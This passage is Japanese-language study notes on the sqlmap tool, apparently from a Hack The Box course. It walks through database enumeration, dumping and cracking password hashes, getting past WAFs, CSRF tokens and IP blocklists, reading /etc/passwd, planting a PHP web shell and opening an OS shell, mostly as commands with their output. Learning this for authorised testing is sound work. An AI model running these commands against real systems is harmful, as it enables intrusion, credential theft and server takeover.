sqlmap -u "www.example.com/?q=test" --prefix="%'))" --suffix="-- -"
```

* SQLMapが送るすべてのベクターが `%'))` `<payload>-- -` の形で構成される
* なんでPrefixとSuffixをいじる必要があるのか
  * カッコやクォートが多重になっている場合、こういう 細かい文字列操作が必要になる。 `--prefix` と `--suffix` でそれを制御できる！

#### Level/Risk

* SQLMapは、**成功率が高いベクターと境界文字**だけを使って効率的に検出する
* でももっと広範囲にチェックしたい場合、次の2つのオプションを使う

`--level`（1〜5、デフォルトは1）

* 使うvectorとboundaryのバリエーションの数を増やす
* → 値が高いほど、バリエーションいっぱい

`--risk` (1\~3, デフォルトは1)

* 送るベクターの中でも「影響が大きいもの」まで含めるかを制御
* → 値が高いと、UPDATEやDELETEが含まれる危険なクエリも使うようになる

#### Advanced Tuning

**ステータスコードを使った検出（--code）**

* ターゲットのレスポンスが大きくて、細かな差異が見づらい場合、HTTPステータスコードでTRUE/FALSEの違いが見えるケースがある
* 正常（TRUE）時：200 OK
* エラー（FALSE）時：500 Internal Server Error このようなときは、--code=200 のように指定して、“200がTRUEである”と固定することで、より確実な検出が可能になる

**タイトルによる比較（--titles）**

* レスポンスの差が `<title>` タグの中に表れる場合、`--titles` オプションを使うと、SQLMapはHTMLタイトルをベースに比較してくれる
* ページの中身が動的すぎて比較できない場合でも、タイトルだけで変化が追えることがある

**特定文字列に基づく検出（--string）**

* TRUEレスポンスにだけ特定の文字列（例：success）が含まれる場合、`--string=success`のように指定すれば、その文字列の有無だけで判断してくれるようになる

**テキストのみで比較（--text-only）**

* HTMLタグが多くて、内容の比較がしづらいときは、`--text-only`を使うことで、すべてのタグを除去して、テキストだけで比較することができる
* 多かったら、消す対象のタグ`<script>`・`<style>`・`<meta>`

**SQLi手法の指定（--technique）**

* 特定のSQLインジェクション手法だけを使いたい／避けたい場合は、`--technique`オプションで手法を絞ることができる

> 遅延が気になるときや、特定の挙動が発生する手法を回避したいときに便利。

**UNIONベースSQLiのチューニング**

* UNION型のインジェクションは、追加の情報が必要になることがある

カラム数の手動指定（--union-cols）

* もし脆弱なクエリの正確なカラム数がわかっている場合は、それを指定できる

```sh
--union-cols=17
```

挿入するデータ型の変更（--union-char）

* 通常SQLMapは NULL やランダムな整数を使って UNION SELECT を組む
* これがクエリ側のデータ型と合わない場合は、代わりに使う値を指定できる

```sh
--union-char='a'
```

FROM句を強制追加（--union-from）

* Oracleなど、一部のDBMSでは UNION SELECT に FROM `<table>` が必須なことがある
* そういう時は、以下のように --union-from=users のように指定する

```sh
--union-from=users
```

* SQLMapが自動的にDBMSの種類を判定できなかった場合、正しく FROM を付けられない → 明示的に指定する必要がある

### データベースの列挙

#### 基本情報の取得

* SQLMap は主要なDBMS（データベース管理システム）ごとに一連のSQLクエリを定義している
* これらのクエリは、特定の情報を取得するためにターゲットに対して実行される

SQLiの発見後には、まずは以下の基本情報の取得から始めるのが一般的

* データベースのバージョン（--banner）
* 現在のユーザー名（--current-user）
* 使用中のデータベース名（--current-db）
* DBA権限の有無（--is-dba）

基本情報を取得するコマンド

* sqlmap側で、勝手にバージョンとサービスを取得して、基本情報を取得してくれる

```shell
sqlmap -u "http://www.example.com/?id=1" --banner --current-user --current-db --is-dba
```

#### テーブル一覧の取得

* 現在使用中のDB（例: testdb）が分かったら、次にその中のテーブル一覧を取得する
* `--tables` : テーブル一覧の取得
* `-D` : 上でわかったデータベースの名前を入れる

```shell-session
 sqlmap -u "http://www.example.com/?id=1" --tables -D testdb

...SNIP...
[13:59:24] [INFO] fetching tables for database: 'testdb'
Database: testdb
[4 tables]
+---------------+
| member        |
| data          |
| international |
| users         |
+---------------+
```

* 特定のテーブルの内容を取得するには`-T`で指定することができる
* \--dumpで、テーブルの内容の表示・csvとして書き出し

```shell-session
sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb

...SNIP...
Database: testdb

Table: users
[4 entries]
+----+--------+------------+
| id | name   | surname    |
+----+--------+------------+
| 1  | luther | blisset    |
| 2  | fluffy | bunny      |
| 3  | wu     | ming       |
| 4  | NULL   | nameisnull |
+----+--------+------------+

[14:07:18] [INFO] table 'testdb.users' dumped to CSV file '/home/user/.local/share/sqlmap/output/www.example.com/dump/testdb/users.csv'
```

#### テーブル・列での列挙

カラム指定での列挙

```shell-session
sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb -C name,surname
```

行の範囲指定（–start, –stop）

* 例えば、2〜3行目だけ取得したいとき

```shell-session
sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb --start=2 --stop=3
```

条件付き列挙（–where）

* 「名前が f から始まるユーザーだけ取得」など、条件指定での抽出も可能

```shell-session
sqlmap -u "http://www.example.com/?id=1" --dump -T users -D testdb --where="name LIKE 'f%'"
```

DB全体の列挙（Full DB Enumeration）

* 特定のテーブルを指定せずに現在のDB全体をダンプ

```sh
sqlmap -u "http://www.example.com/?id=1" --dump -D testdb
```

* 全データベースから全テーブルをダンプ
  * \--exclude-sysdbs オプションは、一般的に価値の少ないシステムDBをスキップする

```sh
sqlmap -u "http://www.example.com/?id=1" --dump-all --exclude-sysdbs
```

#### データベーススキーマの列挙

* すべてのテーブル構造を取得して、データベース全体の構成を把握したい場合、`--schema` オプションを使う
* 各データベースごとにテーブルの構造（カラム名とデータ型）が表示される

```shell-session
snowyowl644@htb[/htb]$ sqlmap -u "http://www.example.com/?id=1" --schema

...SNIP...
Database: master
Table: log
[3 columns]
+--------+--------------+
| Column | Type         |
+--------+--------------+
| date   | datetime     |
| agent  | varchar(512) |
| id     | int(11)      |
+--------+--------------+

Database: owasp10
Table: accounts
[4 columns]
+-------------+---------+
| Column      | Type    |
+-------------+---------+
| cid         | int(11) |
| mysignature | text    |
| password    | text    |
| username    | text    |
+-------------+---------+
```

#### データの検索

* `--search オプション` : 大量のテーブル・カラムがあるとき、興味のある名前（例: user, pass）を検索できる テーブル名に「user」が含まれるものを探す

```shell-session
sqlmap -u "http://www.example.com/?id=1" --search -T user
```

カラム名に「pass」が含まれるものを探す

```shell-session
sqlmap -u "http://www.example.com/?id=1" --search -C pass
```

#### パスワード列挙とクラック

* パスワードが保存されているテーブル（例：master.users）を見つけたら、通常通り --dump でダンプできる

```shell-session
snowyowl644@htb[/htb]$ sqlmap -u "http://www.example.com/?id=1" --dump -D master -T users
```

* SQLMapは、見つけた値がパスワードハッシュらしき形式だと自動的に検出し、辞書攻撃でクラックするか聞いてくれる
* 続けると、辞書攻撃でクラックを開始する

```shell-session
[14:31:41] [INFO] starting dictionary-based cracking (sha1_generic_passwd)
[14:31:41] [INFO] starting 8 processes 
[14:31:41] [INFO] cracked password '05adrian' for hash '70f361f8a1c9035a1d972a209ec5e8b726d1055e'                                                                                                         
[14:31:41] [INFO] cracked password '1201Hunt' for hash 'df692aa944eb45737f0b3b3ef906f8372a3834e9'                                                                                                         
...SNIP...
[14:31:47] [INFO] cracked password 'Zc1uowqg6' for hash '0ff476c2676a2e5f172fe568110552f2e910c917'                                                                                                        
Database: master                                                                                                                                                                                          
Table: users
[32 entries]
+----+------------------+-------------------+-----------------------------+--------------+------------------------+-------------------+-------------------------------------------------------------+---------------------------------------------------+
| id | cc               | name              | email                       | phone        | address                | birthday          | password                                                    | occupation                                        |
+----+------------------+-------------------+-----------------------------+--------------+------------------------+-------------------+-------------------------------------------------------------+---------------------------------------------------+
| 1  | 5387278172507117 | Maynard Rice      | MaynardMRice@yahoo.com      | 281-559-0172 | 1698 Bird Spring Lane  | March 1 1958      | 9a0f092c8d52eaf3ea423cef8485702ba2b3deb9 (3052)             | Linemen                                           |
| 2  | 4539475107874477 | Julio Thomas      | JulioWThomas@gmail.com      | 973-426-5961 | 1207 Granville Lane    | February 14 1972  | 10945aa229a6d569f226976b22ea0e900a1fc219 (taqris)           | Agricultural product sorter                       |
| 3  | 4716522746974567 | Kenneth Maloney   | KennethTMaloney@gmail.com   | 954-617-0424 | 2811 Kenwood Place     | May 14 1989       | a5e68cd37ce8ec021d5ccb9392f4980b3c8b3295 (hibiskus)         | General and operations manager                    |
| 4  | 4929811432072262 | Gregory Stumbaugh | GregoryBStumbaugh@yahoo.com | 410-680-5653 | 1641 Marshall Street   | May 7 1936        | b7fbde78b81f7ad0b8ce0cc16b47072a6ea5f08e (spiderpig8574376) | Foreign language interpreter                      |
| 5  | 4539646911423277 | Bobby Granger     | BobbyJGranger@gmail.com     | 212-696-1812 | 4510 Shinn Street      | December 22 1939  | aed6d83bab8d9234a97f18432cd9a85341527297 (1955chev)         | Medical records and health information technician |
| 6  | 5143241665092174 | Kimberly Wright   | KimberlyMWright@gmail.com   | 440-232-3739 | 3136 Ralph Drive       | June 18 1972      | d642ff0feca378666a8727947482f1a4702deba0 (Enizoom1609)      | Electrologist                                     |
| 7  | 5503989023993848 | Dean Harper       | DeanLHarper@yahoo.com       | 440-847-8376 | 3766 Flynn Street      | February 3 1974   | 2b89b43b038182f67a8b960611d73e839002fbd9 (raided)           | Store detective                                   |
| 8  | 4556586478396094 | Gabriela Waite    | GabrielaRWaite@msn.com      | 732-638-1529 | 2459 Webster Street    | December 24 1965  | f5eb0fbdd88524f45c7c67d240a191163a27184b (ssival47)         | Telephone station installer                       |
```

#### DBユーザーのパスワード列挙とクラック

* DB内の通常テーブルだけでなく、システム的な認証情報（例：MySQLのuserテーブル）も狙える
* その専用オプションとして、`--passswords`がある

```shell-session
sqlmap -u "http://www.example.com/?id=1" --passwords --batch
```

Tips: 自動フル列挙

* もしすべての情報を完全自動で取得したいなら、--all --batch のコンビネーションを使うことで、SQLMapが総当たりでやってくれる

```sh
sqlmap -u "http://www.example.com/?id=1" --all --batch
```

* ただし、対象が大きいと非常に長時間かかる可能性ある
* 出力ファイルの中から目的の情報を手動で確認する必要がある

### WebappのProtectionを回避する

#### CSRFトークンのバイパス

* 自動化を防ぐ最初の防御線の1つが、CSRF（クロスサイトリクエストフォージェリ）トークンの導入
  * フォーム送信時など、**全HTTPリクエストにトークンを付与**して正規の利用かを判断する
* こうしたトークンはページを実際に開かないと取得できないため、自動ツールからのリクエストは弾かれがち

**回避方法** `--csrf-token`オプションで回避できる

```shell-session
sqlmap -u "http://www.example.com/" --data="id=1&csrf-token=WfF1szMUHhiokx9AHFply5L2xAOfjRkE" --csrf-token="csrf-token"

POST parameter 'csrf-token' appears to hold anti-CSRF token. Do you want sqlmap to automatically update it in further requests? [y/N] y
```

#### ユニーク値によるバイパス

* SRFトークンの代わりに、「毎回異なる値」を必要とするパラメータもある

**回避方法** `--randomize` オプションで回避できる

```shell-session
sqlmap -u "http://www.example.com/?id=1&rp=29125" --randomize=rp --batch -v 5 | grep URI
```

#### 計算された値のバイパス

* 一部のWebアプリは、あるパラメータの値が他のパラメータを基に計算されたものである必要がある 例：h=MD5(id) のようなケース

**回避方法** `--eval`オプションで回避できる

```shell-session
sqlmap -u "http://www.example.com/?id=1&h=c4ca4238a0b923820dcc509a6f75849b" --eval="import hashlib; h=hashlib.md5(id).hexdigest()" --batch -v 5 | grep URI
```

#### IPアドレスの隠蔽

* WebアプリがIPベースでブラックリスト管理している場合は、以下の手段が有効

| **方法**  | **オプション**                              | **説明**             |
| ------- | -------------------------------------- | ------------------ |
| プロキシ指定  | --proxy="socks4://177.39.187.70:33283" | 手動でプロキシ指定          |
| プロキシリスト | --proxy-file=proxies.txt               | 複数プロキシを順に使う        |
| Tor使用   | --tor                                  | Torネットワーク経由で実行     |
| Tor確認   | --check-tor                            | Torがちゃんと使われてるかチェック |

#### WAFバイパス

* SQLMapは実行時に「存在しないパラメータ」による攻撃的なペイロードを送って、WAFの存在を検出する
  * 例：?pfov=1' OR '1'='1
* WAFがあるとレスポンスに406などのエラーコードが返る。
* SQLMapはidentYwafライブラリを使って、80種以上のWAFを識別可能 **回避方法**
* `--skip-waf`: WAFチェックをスキップして静かに実行

#### User-Agent ブラックリストの回避

* 初回実行からいきなり5XX系エラーが返ってきたら、
* User-Agent: sqlmap/... がブラックリストに入っている可能性が高い **回避方法**
* `--random-agent` : → ブラウザのUser-Agentをランダムに切り替えて送信

#### Tamper Script

* WAFやIPSを回避するためのSQLMap最強の機能が tamper スクリプト

**回避方法**

* `--tamper=between,randomcase`
  * between: > → NOT BETWEEN 0 AND #, = → BETWEEN # AND # に置換
  * randomcase: SQLキーワードの文字ケースをランダム化（SELECT → SeLEct）
* これにより、単純なルールでブロックしているWAFをすり抜けられる。 一覧

| **スクリプト名**                | **やってること**                         |
| ------------------------- | ---------------------------------- |
| 0eunion                   | UNION → e0UNION に変更（検知回避）          |
| base64encode              | ペイロードを Base64 に変換                  |
| between                   | > → NOT BETWEEN、= → BETWEEN に変える   |
| commalesslimit            | LIMIT M,N → LIMIT N OFFSET M に書き換え |
| equaltolike               | = を LIKE に変える                      |
| halfversionedmorekeywords | 各キーワードの前に MySQLコメントを追加             |
| modsecurityversioned      | クエリ全体を MySQLバージョン付きコメントで囲む         |
| modsecurityzeroversioned  | クエリ全体をゼロバージョンコメントで囲む               |
| percentage                | 各文字の前に % をつける（例：%S%E%L...）         |
| plus2concat               | + を CONCAT() に変える（MsSQL用）          |
| randomcase                | キーワードの大文字・小文字をバラバラにする              |
| space2comment             | スペースを /\*\*/ に変える                  |
| space2dash                | スペースを --ランダム文字\n に変える              |
| space2hash                | スペースを #ランダム文字\n に変える               |
| space2mssqlblank          | スペースを MsSQL用の特殊空白文字に変える            |
| space2plus                | スペースを + に変える                       |
| space2randomblank         | スペースをランダムな空白文字に変える                 |
| symboliclogical           | AND, OR を &&, \`                   |
| versionedkeywords         | キーワードを MySQLのコメントで囲む               |
| versionedmorekeywords     | 全キーワードを MySQLコメントで囲む               |

#### その他のバイパス技術

チャンク送信

* `--chunked` オプションで有効化
* リクエストボディを複数のチャンクに分割 → キーワードの分断で検出回避

HTTPパラメータ汚染

* 同じ名前のパラメータを複数使ってペイロードを分割するテクニック

```sh
?id=1&id=UNION&id=SELECT&id=username,password&id=FROM&id=users
```

→ 一部のサーバ（例：ASP）はこれを結合して処理するため、WAFをすり抜けられることも。

### OS Exploit

* SQLMapには、SQLインジェクションを利用して、DBMSの外側＝OSに対する読み書き操作やコマンド実行を行う機能がある
* 正しい権限さえあれば、リモートホスト上でコマンド実行も可能

#### ファイルの読み書き

* OS攻撃の第一歩は、ホスティングサーバ上のファイルの読み書き
* 一般的には読み込み（read）が中心で、書き込み（write）はDBMSの制限が厳しく、管理者権限が必要

**DBA権限を持っているかの確認**

* DBA権限とは、 「DataBase Administrator（データベース管理者）」のことだね

DBA権限の確認 : `--is-dba`

* 権限を持ってない時

```sh
sqlmap -u "http://www.example.com/case1.php?id=1" --is-dba
...SNIP...
current user is DBA: False
```

* 権限を持ってる時

```shell-session
sqlmap -u "http://www.example.com/?id=1" --is-dba
...SNIP...
current user is DBA: True
```

この環境ならファイル読み込みのチャンスあり！

**ファイルの読み取り** `--file-read`オプションでできる DBA権限を持ってたら、ローカルにダウンロードしてくれる

```shell-session
sqlmap -u "http://www.example.com/?id=1" --file-read "/etc/passwd"

[17:40:14] [INFO] the local file '~/.sqlmap/output/www.example.com/files/_etc_passwd' and the remote file '/etc/passwd' have the same size (982 B)
files saved to [1]:
[*] ~/.sqlmap/output/www.example.com/files/_etc_passwd (same file)
```

**ファイルの書き込み**

* ファイル書き込みは、Web Shellを設置してサーバを乗っ取るための典型的手段。
* そのため、モダンなDBMSではデフォルトで制限されている
* たとえばMySQLでは、以下の条件を満たさないと書き込み不可
  * \--secure-file-priv が無効
  * ディレクトリに書き込み権限がある

書き込みの試み

まず、PHP製の簡単なWebシェルを用意

```shell-session
 echo '<?php system($_GET["cmd"]); ?>' > shell.php
```

次に、それをリモートの /var/www/html/ にアップロード

* `--file-dest` で書き込み
* こんな感じで出力されたら書き込みできる

```shell-session
sqlmap -u "http://www.example.com/?id=1" --file-write "shell.php" --file-dest "/var/www/html/shell.php"

[17:54:28] [INFO] the local file 'shell.php' and the remote file '/var/www/html/shell.php' have the same size (31 B)
```

書き込み(アップロードした)webshellでのコマンドの実行

```shell-session
[17:54:28] [INFO] the local file 'shell.php' and the remote file '/var/www/html/shell.php' have the same size (31 B)
```

#### OS Command Execution

* PHPシェルを使ってコマンド実行ができることを確認した
* **SQLMapが自動でリモートシェルを開く方法を試す**
* SQLMapは複数のテクニックを使って、SQLインジェクション経由でOSシェルを取得することができる
  * Webシェルの設置（さっきの例）
  * SQL関数を作ってOSコマンドを実行
  * xp\_cmdshell（SQL Server）など直接コマンド実行できる関数の利用

SQLMapで簡単にシェルを開くには `--os-shell` オプションを使う

```shell-session
sqlmap -u "http://www.example.com/?id=1" --os-shell
```

ここから、OSコマンドができることがわかる

```sh
[INFO] creating UDF 'sys_exec'
[INFO] creating UDF 'sys_eval'
[INFO] calling Linux OS shell￥
os-shell> ls -la
```
